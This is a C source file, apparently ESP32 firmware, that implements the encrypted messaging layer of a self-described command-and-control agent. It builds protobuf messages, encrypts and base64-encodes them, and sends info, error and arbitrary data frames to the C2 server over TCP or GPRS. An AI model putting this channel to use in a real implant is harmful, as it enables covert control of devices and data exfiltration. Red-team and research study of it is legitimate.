#include <stdio.h>
#include <string.h>
#include <time.h>

#include "esp_log.h"
#include "lwip/sockets.h"

#include "pb_encode.h"
#include "c2.pb.h"

#include "freertos/semphr.h"
#include "utils.h"   /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */

#define TAG "AGENT_MSG"
#define MAX_PROTOBUF_SIZE 512

extern int sock;
extern SemaphoreHandle_t sock_mutex;

/* ============================================================
 * TCP helpers
 * ============================================================ */

 static bool tcp_send_all(const void *buf, size_t len)
 {
 #ifdef CONFIG_NETWORK_WIFI

     xSemaphoreTake(sock_mutex, portMAX_DELAY);
     int current_sock = sock;
     xSemaphoreGive(sock_mutex);

     if (current_sock < 0) {
         ESP_LOGE(TAG, "socket not connected");
         return false;
     }

     const uint8_t *p = (const uint8_t *)buf;
     while (len > 0) {
         int sent = lwip_write(current_sock, p, len);
         if (sent <= 0) {
             ESP_LOGE(TAG, "lwip_write failed, disconnecting");
             xSemaphoreTake(sock_mutex, portMAX_DELAY);
             if (sock == current_sock) {
                 lwip_close(sock);
                 sock = -1;
             }
             xSemaphoreGive(sock_mutex);
             return false;
         }
         p   += sent;
         len -= sent;
     }
     return true;
 
 #elif defined(CONFIG_NETWORK_GPRS)
 
     return gprs_send(buf, len);
 
 #else
 #error "No network backend selected"
 #endif
 }
 
static bool send_base64_frame(const uint8_t *data, size_t len)
{
    char *b64 = base64_encode(data, len);
    if (!b64) {
        ESP_LOGE(TAG, "base64_encode failed");
        return false;
    }

    /* Prepend "device_id:" so the C2 can identify which key to use */
    bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
           && tcp_send_all(":", 1)
           && tcp_send_all(b64, strlen(b64))
           && tcp_send_all("\n", 1);

    free(b64);
    return ok;
}

/* ============================================================
 * Encode → encrypt → base64 → send
 * ============================================================ */

static bool encode_encrypt_send(c2_AgentMessage *msg)
{
    uint8_t pb_buf[MAX_PROTOBUF_SIZE];

    pb_ostream_t stream =
        pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));

    if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
        ESP_LOGE(TAG, "pb_encode failed: %s",
                 PB_GET_ERROR(&stream));
        return false;
    }

    size_t proto_len = stream.bytes_written;

    /* nonce[12] + ciphertext + tag[16] */
    uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];

    int enc_len = crypto_encrypt(pb_buf, proto_len,
                                 enc_buf, sizeof(enc_buf));
    if (enc_len < 0) {
        ESP_LOGE(TAG, "crypto_encrypt failed");
        return false;
    }

    return send_base64_frame(enc_buf, (size_t)enc_len);
}

/* ============================================================
 * Core send API
 * ============================================================ */

bool agent_send(c2_AgentMsgType type,
                const char *source,
                const char *request_id,
                const void *data,
                size_t len,
                bool eof)
{
    c2_AgentMessage msg = c2_AgentMessage_init_zero;

    /* mandatory */
    strncpy(msg.device_id, CONFIG_DEVICE_ID,
            sizeof(msg.device_id) - 1);
    msg.type = type;
    msg.eof = eof;

    /* optional */
    if (source) {
        strncpy(msg.source, source,
                sizeof(msg.source) - 1);
    }

    if (request_id) {
        strncpy(msg.request_id, request_id,
                sizeof(msg.request_id) - 1);
    }

    if (data && len > 0) {
        if (len > sizeof(msg.payload.bytes))
            len = sizeof(msg.payload.bytes);

        msg.payload.size = len;
        memcpy(msg.payload.bytes, data, len);
    }

    return encode_encrypt_send(&msg);
}

/* ============================================================
 * High-level helpers (USED EVERYWHERE)
 * ============================================================ */

bool msg_info(const char *src,
              const char *msg,
              const char *req)
{
    return agent_send(
        c2_AgentMsgType_AGENT_INFO,
        src,
        req,
        msg,
        msg ? strlen(msg) : 0,
        true
    );
}

bool msg_error(const char *src,
               const char *msg,
               const char *req)
{
    return agent_send(
        c2_AgentMsgType_AGENT_ERROR,
        src,
        req,
        msg,
        msg ? strlen(msg) : 0,
        true
    );
}

bool msg_data(const char *src,
              const void *data,
              size_t len,
              bool eof,
              const char *req)
{
    if (!data || len == 0)
        return false;

    return agent_send(
        c2_AgentMsgType_AGENT_DATA,
        src,
        req,
        data,
        len,
        eof
    );
}